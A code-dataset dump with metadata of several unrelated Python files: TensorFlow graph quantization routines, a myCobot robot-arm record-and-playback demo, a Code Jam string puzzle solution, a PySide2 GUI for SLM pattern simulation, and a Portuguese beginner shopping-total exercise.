_reset_output_node_maps(self):\n self.output_node_maps = {}\n\n def write_graph(self, out_graph_def, out_graph_file):\n \"\"\"Write output graphDef to file.\n\n :param out_graph_def: output graphDef.\n :param out_graph_file: path to output graph file.\n :return: None.\n \"\"\"\n if not isinstance(out_graph_def, tf.compat.v1.GraphDef):\n raise ValueError(\n 'out_graph_def is not instance of TensorFlow GraphDef.')\n if out_graph_file and not os.path.exists(\n os.path.dirname(out_graph_file)):\n raise ValueError('\"output_graph\" directory does not exists.')\n f = gfile.GFile(out_graph_file, 'wb')\n f.write(out_graph_def.SerializeToString())\n\n def _get_op_list(self):\n self.op_list = []\n for _, v in enumerate(self.node_name_mapping):\n self.op_list.append(self.node_name_mapping[v].node.op)\n\n def _get_node_input(self, node_name):\n \"\"\"\n Return control_input name, non-control_input node name\n \"\"\"\n\n return [\n i for i in self.node_name_mapping[node_name].node.input\n if i[0] == '^'\n ], [\n i for i in self.node_name_mapping[node_name].node.input\n if i[0] != '^'\n ]\n\n def _intel_cpu_add_dequantize_result_node(self,\n quantized_output_name,\n original_node_name,\n dtype=dtypes.quint8,\n min_tensor_index=1):\n min_max_inputs = [\n \"%s:%s\" % (quantized_output_name, min_tensor_index),\n \"%s:%s\" % (quantized_output_name, min_tensor_index + 1)\n ]\n dequantize_name = original_node_name\n\n dequantize_node = helper.create_node(\n \"Dequantize\", dequantize_name,\n [quantized_output_name, min_max_inputs[0], min_max_inputs[1]])\n helper.set_attr_dtype(dequantize_node, \"T\", dtype)\n helper.set_attr_string(dequantize_node, \"mode\",\n b\"SCALED\" if self.per_channel else b\"MIN_FIRST\")\n self.add_output_graph_node(dequantize_node)\n\n def eightbitize_single_input_tensor_node(self, original_node,\n add_op_function):\n quantized_op_name = original_node.name + \"_eightbit_quantized\"\n quantized_op_type = \"Quantized\" + original_node.op\n all_input_names = self._add_eightbit_prologue_nodes(original_node.name)\n quantized_op_node = helper.create_node(quantized_op_type,\n quantized_op_name,\n all_input_names)\n add_op_function(original_node, quantized_op_node)\n self.add_output_graph_node(quantized_op_node)\n self._intel_cpu_add_dequantize_result_node(quantized_op_name,\n original_node.name)\n\n def _add_eightbit_prologue_nodes(self, original_node):\n namespace_prefix = original_node + \"_eightbit\"\n reshape_dims_name, reduction_dims_name = self._add_common_quantization_nodes(\n namespace_prefix,\n self.node_name_mapping[original_node].node.input[0])\n input_names = []\n min_max_names = []\n for each_input_name in self.node_name_mapping[original_node].node.input:\n if each_input_name[0] == '^':\n continue\n input_node_name = helper.node_name_from_input(each_input_name)\n if self.intel_cpu_eightbitize and input_node_name in self.output_node_maps:\n dtype = dtypes.DType(\n self.output_node_maps[input_node_name].attr[\"T\"].type\n ) if self.output_node_maps[\n input_node_name].op == \"Dequantize\" else dtypes.quint8\n else:\n dtype = dtypes.quint8 if self._find_relu_node(\n self.node_name_mapping[original_node].node\n ) else dtypes.qint8\n\n quantize_input_name, min_input_name, max_input_name = (\n self._eightbitize_input_to_node(namespace_prefix,\n each_input_name,\n reshape_dims_name,\n reduction_dims_name,\n dtype=dtype))\n input_names.append(quantize_input_name)\n min_max_names.append(min_input_name)\n min_max_names.append(max_input_name)\n all_input_names = []\n all_input_names.extend(input_names)\n all_input_names.extend(min_max_names)\n\n for original_input_name in self.node_name_mapping[\n original_node].node.input:\n if original_input_name[0] == '^':\n all_input_names.append(original_input_name)\n return all_input_names\n\n def _add_common_quantization_nodes(self,\n namespace_prefix,\n control_input_names=None):\n \"\"\"Builds constant nodes needed for quantization of inputs.\"\"\"\n reshape_dims_name = namespace_prefix + \"_reshape_dims\"\n reduction_dims_name = namespace_prefix + \"_reduction_dims\"\n\n reshape_dims_node = helper.create_constant_node(reshape_dims_name, -1,\n dtypes.int32, [1])\n if control_input_names:\n reshape_dims_node.input.append(\"^\" + control_input_names)\n\n self.add_output_graph_node(reshape_dims_node)\n reduction_dims_node = helper.create_constant_node(\n reduction_dims_name, 0, dtypes.int32, [1])\n if control_input_names:\n reduction_dims_node.input.append(\"^\" + control_input_names)\n self.add_output_graph_node(reduction_dims_node)\n return reshape_dims_name, reduction_dims_name\n\n def add_output_graph_node(self, output_node):\n \"\"\"Inserts one node into the new graph.\"\"\"\n self.output_graph.node.extend([output_node])\n self._add_output_node(output_node.name, output_node)\n\n def _parse_graph(self, input_graph=None):\n \"\"\"\n Parse the graph and get the input node and output node name details.\n \"\"\"\n logging.debug(\"start parsing graph\")\n self.node_name_mapping = OrderedDict()\n\n graph = self.input_graph if input_graph is None else input_graph\n for node in graph.node:\n each_node = self.node_details(node=node, input_node=[], output=[])\n\n if node.name in self.node_name_mapping:\n raise ValueError(\n \"Duplicate Node Found when _parse_graph, the node name is {}\"\n .format(node.name))\n\n self.node_name_mapping[node.name] = each_node\n\n for node in graph.node:\n for input in node.input:\n self.node_name_mapping[helper.node_name_from_input(\n input)].output.append(node.name)\n\n def remove_redundant_quantization(self, old_graph):\n old_nodes_map = self.create_nodes_map(old_graph)\n self.output_graph = graph_pb2.GraphDef()\n inputs_to_rename = {}\n # We go through all the nodes, looking for any that match the patterns we\n # know how to optimize away.\n for node in old_graph.node:\n # We always start with a Quantize node, and examine its inputs to see if\n # they are in a form that can be removed.\n if node.op not in [\"Quantize\", \"QuantizeV2\"]:\n continue\n\n dequantize_node_name = helper.node_name_from_input(node.input[0])\n if dequantize_node_name not in old_nodes_map:\n raise ValueError(\"Input node name '\" + dequantize_node_name +\n \"' not found in node '\" + node.name + \"'\")\n dequantize_node = old_nodes_map[dequantize_node_name]\n # Do we have a Dequantize feeding in, with the same type as the Quantize?\n if dequantize_node.op != \"Dequantize\":\n continue\n\n if node.attr[\"T\"] != dequantize_node.attr[\"T\"]:\n continue\n\n # Now look at the other inputs, and ensure they're Min/Max nodes.\n min_node_name = helper.node_name_from_input(node.input[1])\n max_node_name = helper.node_name_from_input(node.input[2])\n min_node = old_nodes_map[min_node_name]\n max_node = old_nodes_map[max_node_name]\n is_min_right_type = (min_node.op in [\"Min\", \"Dequantize\"])\n is_max_right_type = (max_node.op in [\"Max\", \"Dequantize\"])\n if not is_min_right_type or not is_max_right_type:\n print(\"Didn't find expected types on inputs : %s, %s.\" %\n (min_node.op, max_node.op))\n continue\n min_node_input_name = helper.node_name_from_input(min_node.input[0])\n max_node_input_name = helper.node_name_from_input(max_node.input[0])\n # There are two different patterns for Min nodes we can recognize, one\n # where the input comes directly from the same one as the Max, and\n # another where we run it through another Min first, so check for both.\n is_same_input = False\n if min_node_input_name == max_node_input_name:\n is_same_input = True\n else:\n first_min_node_input = old_nodes_map[min_node_input_name]\n if first_min_node_input.op == \"Concat\":\n second_min_node_name = helper.node_name_from_input(\n first_min_node_input.input[1])\n second_min_node = old_nodes_map[second_min_node_name]\n if second_min_node.op == \"Min\":\n second_min_node_input_name = helper.node_name_from_input(\n second_min_node.input[0])\n is_same_input = (\n second_min_node_input_name == max_node_input_name)\n if not is_same_input:\n print(\"Different min/max inputs: \" + min_node_input_name)\n continue\n # We recognize this pattern, so mark the graph edges to be rewired to\n # route around it entirely, since we know it's a no-op.\n dequantize_source_name = helper.node_name_from_input(\n dequantize_node.input[0])\n node_tensor_name = helper.ensure_tensor_name_has_port(node.name)\n min_tensor_name = node.name + \":1\"\n max_tensor_name = node.name + \":2\"\n\n inputs_to_rename[node_tensor_name] = dequantize_source_name\n inputs_to_rename[min_tensor_name] = dequantize_node.input[1]\n inputs_to_rename[max_tensor_name] = dequantize_node.input[2]\n # Finally we apply all the rewiring we've marked to the graph.\n for node in old_graph.node:\n for index, input_full_name in enumerate(node.input):\n input_name = helper.ensure_tensor_name_has_port(input_full_name)\n if input_name in inputs_to_rename:\n node.input[index] = inputs_to_rename[input_name]\n self.add_output_graph_node(node)\n return self.output_graph\n\n def apply_final_node_renames(self):\n \"\"\"Applies node renames in self.final_node_renames to self.output_graph.\"\"\"\n old_graph = self.output_graph\n self.output_graph = graph_pb2.GraphDef()\n for node in old_graph.node:\n node.name = self.final_node_renames.get(node.name, node.name)\n for index, input_name in enumerate(node.input):\n node_name = helper.node_name_from_input(input_name)\n input_full_name = helper.ensure_tensor_name_has_port(input_name)\n if node_name in self.final_node_renames:\n node.input[index] = \"%s%s\" % (\n self.final_node_renames[node_name],\n input_full_name[len(node_name):])\n self.add_output_graph_node(node)\n return self.output_graph\n\n def create_nodes_map(self, graph):\n \"\"\"Builds a mapping of node names to their defs from the graph.\"\"\"\n nodes_map = {}\n for node in graph.node:\n if node.name not in nodes_map.keys():\n nodes_map[node.name] = node\n else:\n raise ValueError(\"Duplicate node names detected.\")\n\n return nodes_map\n\n def _add_quantize_down_nodes(self,\n original_node,\n quantized_output_name,\n requantize_type=dtypes.quint8,\n is_relu6=False):\n quantized_outputs = [\n quantized_output_name, quantized_output_name + \":1\",\n quantized_output_name + \":2\"\n ]\n # Add a RequantizationRange node for finding the min and max values.\n requant_range_node = helper.create_node(\n \"RequantizationRangePerChannel\"\n if self.per_channel else \"RequantizationRange\",\n original_node.name + \"_eightbit_requant_range\", quantized_outputs)\n\n if self.per_channel:\n helper.set_attr_dtype(requant_range_node, \"T\", dtypes.qint32)\n if is_relu6:\n helper.set_attr_float(requant_range_node, \"clip_value_max\", 6.0)\n else:\n helper.set_attr_float(requant_range_node, \"clip_value_max\",\n 1e30)\n else:\n helper.set_attr_dtype(requant_range_node, \"Tinput\", dtypes.qint32)\n\n self.add_output_graph_node(requant_range_node)\n min_max_inputs = [\n requant_range_node.name + \":0\", requant_range_node.name + \":1\"\n ]\n requantize_node = helper.create_node(\n \"RequantizePerChannel\" if self.per_channel else \"Requantize\",\n original_node.name + \"_eightbit_requantize\",\n quantized_outputs + min_max_inputs)\n if self.per_channel:\n helper.set_attr_dtype(requantize_node, \"T\", dtypes.qint32)\n else:\n helper.set_attr_dtype(requantize_node, \"Tinput\", dtypes.qint32)\n\n helper.set_attr_dtype(requantize_node, \"out_type\", requantize_type)\n self.add_output_graph_node(requantize_node)\n return requantize_node.name\n\n def add_dequantize_result_node(self,\n quantized_output_name,\n original_node_name,\n min_tensor_index=1):\n min_max_inputs = [\n \"%s:%s\" % (quantized_output_name, min_tensor_index),\n \"%s:%s\" % (quantized_output_name, (min_tensor_index + 1))\n ]\n dequantize_name = original_node_name\n\n dequantize_node = helper.create_node(\n \"Dequantize\", dequantize_name,\n [quantized_output_name, min_max_inputs[0], min_max_inputs[1]])\n helper.set_attr_dtype(dequantize_node, \"T\", dtypes.quint8)\n helper.set_attr_string(\n dequantize_node, \"mode\",\n b\"SCALED\" if self.intel_cpu_eightbitize else b\"MIN_FIRST\")\n self.add_output_graph_node(dequantize_node)\n\n def _eightbitize_input_to_node(self,\n namespace_prefix,\n original_input_name,\n reshape_dims_name,\n reduction_dims_name,\n dtype=dtypes.quint8):\n \"\"\"Takes one float input to an op, and converts it to quantized form.\"\"\"\n unique_input_name = helper.unique_node_name_from_input(\n original_input_name)\n if unique_input_name in self.quantized_node_dict:\n quantized_tuple = self.quantized_node_dict[unique_input_name]\n return quantized_tuple[0], quantized_tuple[1], quantized_tuple[2]\n\n reshape_input_name = namespace_prefix + \"_reshape_\" + unique_input_name\n min_input_name = namespace_prefix + \"_min_\" + unique_input_name\n max_input_name = namespace_prefix + \"_max_\" + unique_input_name\n quantize_input_name = namespace_prefix + \"_quantize_\" + unique_input_name\n reshape_input_node = helper.create_node(\n \"Reshape\", reshape_input_name,\n [original_input_name, reshape_dims_name])\n helper.set_attr_dtype(reshape_input_node, \"T\", dtypes.float32)\n self.add_output_graph_node(reshape_input_node)\n min_input_node = helper.create_node(\n \"Min\", min_input_name, [reshape_input_name, reduction_dims_name])\n helper.set_attr_dtype(min_input_node, \"T\", dtypes.float32)\n helper.set_attr_dtype(min_input_node, \"Tidx\", dtypes.int32)\n helper.set_attr_bool(min_input_node, \"keep_dims\", False)\n self.add_output_graph_node(min_input_node)\n max_input_node = helper.create_node(\n \"Max\", max_input_name, [reshape_input_name, reduction_dims_name])\n helper.set_attr_dtype(max_input_node, \"T\", dtypes.float32)\n helper.set_attr_dtype(max_input_node, \"Tidx\", dtypes.int32)\n helper.set_attr_bool(max_input_node, \"keep_dims\", False)\n self.add_output_graph_node(max_input_node)\n quantize_input_node = helper.create_node(\n \"QuantizeV2\", quantize_input_name,\n [original_input_name, min_input_name, max_input_name])\n\n helper.set_attr_dtype(quantize_input_node, \"T\", dtype)\n\n helper.set_attr_string(quantize_input_node, \"mode\", b\"SCALED\")\n helper.set_attr_string(quantize_input_node, \"round_mode\",\n b\"HALF_TO_EVEN\")\n # if FLAGS.model_name in [\"wide_deep_large_ds\"]:\n # set_attr_string(quantize_input_node, \"mode\", b\"MIN_FIRST\")\n # else:\n # set_attr_string(quantize_input_node, \"mode\",\n # b\"SCALED\" if self.intel_cpu_eightbitize else b\"MIN_FIRST\")\n # set_attr_string(quantize_input_node, \"round_mode\",\n # b\"HALF_TO_EVEN\" if self.intel_cpu_eightbitize\n # else b\"HALF_AWAY_FROM_ZERO\")\n self.add_output_graph_node(quantize_input_node)\n min_output_name = quantize_input_name + \":1\"\n max_output_name = quantize_input_name + \":2\"\n self.quantized_node_dict[unique_input_name] = (quantize_input_name,\n min_output_name,\n max_output_name)\n return quantize_input_name, min_output_name, max_output_name\n\n def _intel_cpu_quantize_weight_eightbit(self,\n parent,\n input_node,\n per_channel,\n quantization_mode=b\"SCALED\"):\n base_name = input_node.name + \"_\"\n qint8_const_name = base_name + \"qint8_const\"\n min_name = base_name + \"min\"\n max_name = base_name + \"max\"\n float_tensor = tensor_util.MakeNdarray(input_node.attr[\"value\"].tensor)\n epsilon = 1e-4 # Needs to be set empirically if accuracy is not satisfactory\n if parent in (\"Conv2D\", \"MatMul\"):\n if per_channel:\n ranges = np.abs(float_tensor).max(axis=(0, 1, 2))\n min_value = -ranges\n max_value = ranges\n # nudging min-max values outside epsilon radius around zero\n ranges[ranges < epsilon] = epsilon\n min_value[np.abs(min_value) < epsilon] = -epsilon\n max_value[np.abs(max_value) < epsilon] = epsilon\n qint8_tensor = (float_tensor * 127.0 / ranges).astype(np.int8)\n else:\n min_value = np.min(float_tensor.flatten())\n max_value = np.max(float_tensor.flatten())\n # Same processing of min-max as in quantize_weight_eightbit\n # function.\n if min_value > 0.0:\n min_value = 0.0\n if min_value == max_value:\n if abs(min_value) < 0.000001:\n max_value = min_value + 1.0\n elif min_value > 0:\n max_value = 2 * min_value\n else:\n max_value = min_value / 2.0\n\n sess = session.Session()\n with sess.as_default():\n quantize_op = array_ops.quantize_v2(\n float_tensor,\n min_value,\n max_value,\n dtypes.qint8,\n mode=quantization_mode,\n round_mode=\"HALF_TO_EVEN\")\n qint8_tensor = quantize_op[0].eval()\n # Updated min-max values should be passed to the next feeding node.\n min_value = quantize_op[1].eval()\n max_value = quantize_op[2].eval()\n elif parent == \"DepthwiseConv2dNative\":\n # get the max values based on dim 0 and 1 for depthwise conv\n # since, the output channel will be dim 2 * dim 3\n ranges = np.abs(float_tensor).max(axis=(0, 1))\n ranges = ranges.flatten()\n min_value = -ranges\n max_value = ranges\n # nudging min-max values outside epsilon radius around zero\n ranges[ranges < epsilon] = epsilon\n min_value[np.abs(min_value) < epsilon] = -epsilon\n max_value[np.abs(max_value) < epsilon] = epsilon\n # Since output channel will be 1 dim which is dim 2 * dim 3\n # When divide by range, qint8_tensor needs to be 3 dim\n # where, 3rd dim should be same dim of ranges\n a, b, c, d = float_tensor.shape\n qint8_tensor = (float_tensor.reshape(a, b, c * d) * 127.0 /\n ranges).astype(np.int8)\n # get the shape back to 4 dim\n qint8_tensor = qint8_tensor.reshape(a, b, c, d)\n shape = tensor_util.TensorShapeProtoToList(\n input_node.attr[\"value\"].tensor.tensor_shape)\n qint8_const_node = helper.create_constant_node(qint8_const_name,\n qint8_tensor,\n dtypes.qint8,\n shape=shape)\n\n min_node = helper.create_constant_node(min_name, min_value,\n dtypes.float32)\n\n max_node = helper.create_constant_node(max_name, max_value,\n dtypes.float32)\n\n dequantize_node = helper.create_node(\n \"Dequantize\", input_node.name,\n [qint8_const_name, min_name, max_name])\n\n helper.set_attr_dtype(dequantize_node, \"T\", dtypes.qint8)\n helper.set_attr_string(dequantize_node, \"mode\", b\"SCALED\")\n self.add_output_graph_node(qint8_const_node)\n self.add_output_graph_node(min_node)\n self.add_output_graph_node(max_node)\n self.add_output_graph_node(dequantize_node)\n","sub_path":"api/intel_quantization/quantize_graph/quantize_graph_base.py","file_name":"quantize_graph_base.py","file_ext":"py","file_size_in_byte":29931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"634046594","text":"import time\nimport os\nimport sys\nimport termios\nimport tty\nimport threading\nimport json\nimport serial\nimport serial.tools.list_ports\n\nfrom pymycobot.mycobot import MyCobot\n\n\nport: str\nmc: MyCobot\nsp: int = 80\n\n\ndef setup():\n print(\"\")\n global port, mc\n plist = list(serial.tools.list_ports.comports())\n idx = 1\n for port in plist:\n print(\"{} : {}\".format(idx, port))\n idx += 1\n\n _in = input(\"\\nPlease input 1 - {} to choice:\".format(idx - 1))\n port = str(plist[int(_in) - 1]).split(\" - \")[0].strip()\n print(port)\n print(\"\")\n\n baud = 115200\n _baud = input(\"Please input baud(default:115200):\")\n try:\n baud = int(_baud)\n except Exception:\n pass\n print(baud)\n print(\"\")\n\n DEBUG = False\n f = input(\"Wether DEBUG mode[Y/n]:\")\n if f in [\"y\", \"Y\", \"yes\", \"Yes\"]:\n DEBUG = True\n # mc = MyCobot(port, debug=True)\n mc = MyCobot(port, baud, debug=DEBUG)\n\n\nclass Raw(object):\n \"\"\"Set raw input mode for device\"\"\"\n\n def __init__(self, stream):\n self.stream = stream\n self.fd = self.stream.fileno()\n\n def __enter__(self):\n self.original_stty = termios.tcgetattr(self.stream)\n tty.setcbreak(self.stream)\n\n def __exit__(self, type, value, traceback):\n termios.tcsetattr(self.stream, termios.TCSANOW, self.original_stty)\n\n\nclass Helper(object):\n def __init__(self) -> None:\n self.w, self.h = os.get_terminal_size()\n\n def echo(self, msg):\n print(\"\\r{}\".format(\" \" * self.w), end=\"\")\n print(\"\\r{}\".format(msg), end=\"\")\n\n\nclass TeachingTest(Helper):\n def __init__(self, mycobot) -> None:\n super().__init__()\n self.mc = mycobot\n self.recording = False\n self.playing = False\n self.record_list = []\n self.record_t = None\n self.play_t = None\n\n def record(self):\n self.record_list = []\n self.recording = True\n\n def _record():\n start_t = time.time()\n\n while self.recording:\n angles = self.mc.get_angles()\n if angles:\n self.record_list.append(angles)\n time.sleep(0.1)\n print(\"\\r {}\".format(time.time() - start_t), end=\"\")\n\n self.echo(\"Start recording.\")\n self.record_t = threading.Thread(target=_record, daemon=True)\n self.record_t.start()\n\n def stop_record(self):\n if self.recording:\n self.recording = False\n self.record_t.join()\n self.echo(\"Stop record\")\n\n def play(self):\n self.echo(\"Start play\")\n for angles in self.record_list:\n # print(angles)\n self.mc.send_angles(angles, 80)\n time.sleep(0.1)\n self.echo(\"Finish play\")\n\n def loop_play(self):\n self.playing = True\n\n def _loop():\n len_ = len(self.record_list)\n i = 0\n while self.playing:\n idx_ = i % len_\n i += 1\n self.mc.send_angles(self.record_list[idx_], 80)\n time.sleep(0.1)\n\n self.echo(\"Start loop play.\")\n self.play_t = threading.Thread(target=_loop, daemon=True)\n self.play_t.start()\n\n def stop_loop_play(self):\n if self.playing:\n self.playing = False\n self.play_t.join()\n self.echo(\"Stop loop play.\")\n\n def save_to_local(self):\n if not self.record_list:\n self.echo(\"No data should save.\")\n return\n\n with open(os.path.dirname(__file__) + \"/record.txt\", \"w\") as f:\n json.dump(self.record_list, f, indent=2)\n self.echo(\"save dir: {}\".format(os.path.dirname(__file__)))\n\n def load_from_local(self):\n\n with open(os.path.dirname(__file__) + \"/record.txt\", \"r\") as f:\n try:\n data = json.load(f)\n self.record_list = data\n self.echo(\"Load data success.\")\n except Exception:\n self.echo(\"Error: invalid data.\")\n\n def print_menu(self):\n print(\n \"\"\"\\\n \\r q: quit\n \\r r: start record\n \\r c: stop record\n \\r p: play once\n \\r P: loop play / stop loop play\n \\r s: save to local\n \\r l: load from local\n \\r f: release mycobot\n \\r----------------------------------\n \"\"\"\n )\n\n def start(self):\n self.print_menu()\n\n while not False:\n with Raw(sys.stdin):\n key = sys.stdin.read(1)\n if key == \"q\":\n break\n elif key == \"r\": # recorder\n self.record()\n elif key == \"c\": # stop recorder\n self.stop_record()\n elif key == \"p\": # play\n self.play()\n elif key == \"P\": # loop play\n if not self.playing:\n self.loop_play()\n else:\n self.stop_loop_play()\n elif key == \"s\": # save to local\n self.save_to_local()\n elif key == \"l\": # load from local\n self.load_from_local()\n elif key == \"f\": # free move\n self.mc.release_all_servos()\n self.echo(\"Released\")\n else:\n print(key)\n continue\n\n\nif __name__ == \"__main__\":\n setup()\n recorder = TeachingTest(mc)\n recorder.start()\n","sub_path":"demo/drag_trial_teaching.py","file_name":"drag_trial_teaching.py","file_ext":"py","file_size_in_byte":5538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"357401403","text":"#!/usr/bin/env python\n\nimport sys\n\nwith open(sys.argv[1], 'r') as my_file:\n contents = my_file.read()\n \nwords = contents.split('\\n')\n\nletters = [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\nrank = dict(zip(letters, [i for i in range(1,27)]))\n\nlength = int(words[0])\n\nfor w in range(1, length+1):\n current = words[w]\n if current == \"\":\n continue\n s = \"\"\n si = current[0]\n s += si\n if len(current) > 1:\n for c in current[1:]:\n if rank[c] >= rank[s[0]]:\n s = c + s\n else:\n s += c\n s = \"Case #\" + str(w) + \": \" + s\n print(s) \n \n\n\n\n\n","sub_path":"problem-1a/thelastword.py","file_name":"thelastword.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"523656192","text":"from functools import partial\r\nimport logging\r\nimport sys\r\n\r\nimport pyqtgraph as pq\r\nfrom PySide2.QtWidgets import QApplication, QMainWindow\r\n\r\nfrom pattern import SLM, AnnularMask, Field, Objective\r\nfrom pattern.dialog import Ui_Dialog\r\n\r\n__all__ = [\"Dialog\"]\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\ndef connect_signals_to_callbacks(signals, callbacks):\r\n for signal in signals:\r\n for callback in callbacks:\r\n signal.connect(callback)\r\n\r\n\r\nclass Dialog(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.ui = Ui_Dialog()\r\n\r\n self.setup_ui()\r\n\r\n ##\r\n\r\n ##\r\n\r\n def regenerate(self):\r\n wavelength = self.ui.wavelength_spinbox.value()\r\n mag = self.ui.system_magnification_spinbox.value()\r\n\r\n print(dir(self))\r\n # attempt to initizlie uninit components\r\n init_funcs = {\r\n \"slm\": self._update_slm,\r\n \"mask\": self._update_mask,\r\n \"objective\": self._update_objective,\r\n }\r\n for name, func in init_funcs.items():\r\n if not hasattr(self, f\"_{name}\"):\r\n logger.debug(f'implicit update \"{name}\"')\r\n func()\r\n\r\n # create field\r\n field = Field(self._slm, self._mask, self._objective, wavelength, mag)\r\n\r\n field = Bessel(3.824, 2.689)(field)\r\n results = field.simulate()\r\n\r\n image = pq.ImageItem(results[\"ideal\"])\r\n self.ui.ideal.addItem(image)\r\n\r\n # complete update, disable\r\n self.ui.regenerate.setEnabled(False)\r\n\r\n ##\r\n\r\n def setup_ui(self):\r\n # generate layout from the ui file\r\n self.ui.setupUi(self)\r\n\r\n self._setup_slm_parameters()\r\n self._setup_mask_parameters()\r\n self._setup_objective_parameters()\r\n self._setup_system_parameters()\r\n\r\n self._setup_binarize_parameters()\r\n\r\n self._setup_bessel_parameters()\r\n self._setup_linear_bessel_parameters()\r\n self._setup_tiling_parameters()\r\n\r\n self.ui.regenerate.clicked.connect(self.regenerate)\r\n\r\n def _setup_slm_parameters(self):\r\n # populate screen size options\r\n for size in (\"QXGA\", \"SXGA\"):\r\n self.ui.screensize_combobox.addItem(size)\r\n\r\n signals = [\r\n self.ui.screensize_combobox.currentIndexChanged,\r\n self.ui.pixel_size_spinbox.valueChanged,\r\n self.ui.focal_length_spinbox.valueChanged,\r\n ]\r\n callbacks = [self._update_slm, self._requires_regenerate]\r\n connect_signals_to_callbacks(signals, callbacks)\r\n\r\n def _setup_mask_parameters(self):\r\n signals = [\r\n self.ui.mask_od_spinbox.valueChanged,\r\n self.ui.mask_id_spinbox.valueChanged,\r\n ]\r\n callbacks = [self._update_mask, self._requires_regenerate]\r\n connect_signals_to_callbacks(signals, callbacks)\r\n\r\n def _setup_objective_parameters(self):\r\n signals = [\r\n self.ui.objective_magnification_spinbox.valueChanged,\r\n self.ui.objective_na_spinbox.valueChanged,\r\n self.ui.tube_lens_spinbox.valueChanged,\r\n ]\r\n callbacks = [self._update_objective, self._requires_regenerate]\r\n connect_signals_to_callbacks(signals, callbacks)\r\n\r\n def _setup_system_parameters(self):\r\n signals = [\r\n self.ui.wavelength_spinbox.valueChanged,\r\n self.ui.system_magnification_spinbox.valueChanged,\r\n self.ui.dither_steps_spinbox.valueChanged,\r\n self.ui.dither_interval_spinbox.valueChanged,\r\n ]\r\n callbacks = [self._update_system, self._requires_regenerate]\r\n connect_signals_to_callbacks(signals, callbacks)\r\n\r\n self.ui.dither_steps_spinbox.valueChanged.connect(self._toggle_dithering)\r\n\r\n def _setup_binarize_parameters(self):\r\n pass\r\n\r\n def _setup_bessel_parameters(self):\r\n pass\r\n\r\n def _setup_linear_bessel_parameters(self):\r\n self.ui.bessel_parameters.toggled.connect(self._toggle_bessel_array)\r\n self.ui.same_as_mask.toggled.connect(self._toggle_same_as_mask)\r\n\r\n self.ui.fill_screen_checkbox.toggled.connect(self._toggle_fill_screen)\r\n self.ui.auto_spacing.toggled.connect(self._toggle_auto_spacing)\r\n\r\n def _setup_tiling_parameters(self):\r\n pass\r\n\r\n ##\r\n\r\n def _requires_regenerate(self):\r\n self.ui.regenerate.setEnabled(True)\r\n\r\n ##\r\n\r\n def _update_slm(self):\r\n logger.debug(\"update slm\")\r\n\r\n size = {\"QXGA\": (1536, 2048), \"SXGA\": (1024, 1280)}[\r\n self.ui.screensize_combobox.currentText()\r\n ]\r\n self._slm = SLM(\r\n size,\r\n (self.ui.pixel_size_spinbox.value(),) * 2,\r\n self.ui.focal_length_spinbox.value(),\r\n )\r\n\r\n def _update_mask(self):\r\n logger.debug(\"update mask\")\r\n\r\n # clear na\r\n self.ui.mask_od_na.setText(\"-\")\r\n self.ui.mask_id_na.setText(\"-\")\r\n\r\n d_out = self.ui.mask_od_spinbox.value()\r\n d_in = self.ui.mask_id_spinbox.value()\r\n self._mask = AnnularMask(d_out, d_in)\r\n\r\n def _update_objective(self):\r\n logger.debug(\"update objective\")\r\n\r\n mag = self.ui.objective_magnification_spinbox.value()\r\n na = self.ui.objective_na_spinbox.value()\r\n tl = self.ui.tube_lens_spinbox.value()\r\n self._objective = Objective(mag, na, tl)\r\n\r\n def _update_system(self):\r\n pass\r\n\r\n ##\r\n\r\n def _toggle_dithering(self, n_steps):\r\n self.ui.dither_interval_spinbox.setEnabled(n_steps > 1)\r\n\r\n def _toggle_bessel_array(self, active):\r\n if not active:\r\n self.ui.linear_bessel_array_parameters.setChecked(False)\r\n\r\n def _toggle_same_as_mask(self, active):\r\n self.ui.bessel_od_spinbox.setEnabled(not active)\r\n self.ui.bessel_id_spinbox.setEnabled(not active)\r\n\r\n def _toggle_fill_screen(self, active):\r\n self.ui.fill_screen_spinbox.setEnabled(active)\r\n\r\n def _toggle_auto_spacing(self, active):\r\n self.ui.spacing_spinbox.setEnabled(not active)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import coloredlogs\r\n\r\n logging.getLogger(\"matplotlib\").setLevel(logging.ERROR)\r\n coloredlogs.install(\r\n level=\"DEBUG\", fmt=\"%(asctime)s %(levelname)s %(message)s\", datefmt=\"%H:%M:%S\"\r\n )\r\n\r\n app = QApplication(sys.argv)\r\n\r\n window = Dialog()\r\n window.show()\r\n\r\n sys.exit(app.exec_())\r\n","sub_path":"pattern/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":6406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"247143021","text":"\"\"\"Crie um programa que leia o nome e o preço de vários produtos.\r\nO programa deverá perguntar se o usuário vai continuar ou não. No final, mostre:\r\nA) qual é o total gasto na compra.\r\nB) quantos produtos custam mais de R$1000.\r\nC) qual é o nome do produto mais barato. \"\"\"\r\nsoma = mil = cont = menor = 0\r\nbarato = ' '\r\nwhile True:\r\n item = str(input('Nome do produto: ')).strip()\r\n preço = float(input('Preço: R$ '))\r\n soma += preço\r\n cont += 1\r\n if cont == 1 or preço < menor:\r\n menor = preço\r\n barato = item\r\n if preço > 1000:\r\n mil += 1\r\n continuar = ' '\r\n while continuar not in \"SN\":\r\n continuar = str(input('Deseja continuar? [S/N] ')).strip().upper()[0]\r\n if continuar == 'N':\r\n break\r\nprint(f'O valor total da compra foi de R${soma:.2f}. {mil} produtos custaram mais de R$1000,00.'\r\n f'O produto mais barato foi: {barato} custando R$ {menor:.2f}')\r\n\r\n","sub_path":"ex070.py","file_name":"ex070.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"332501878","text":"# Copyright 2018 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# 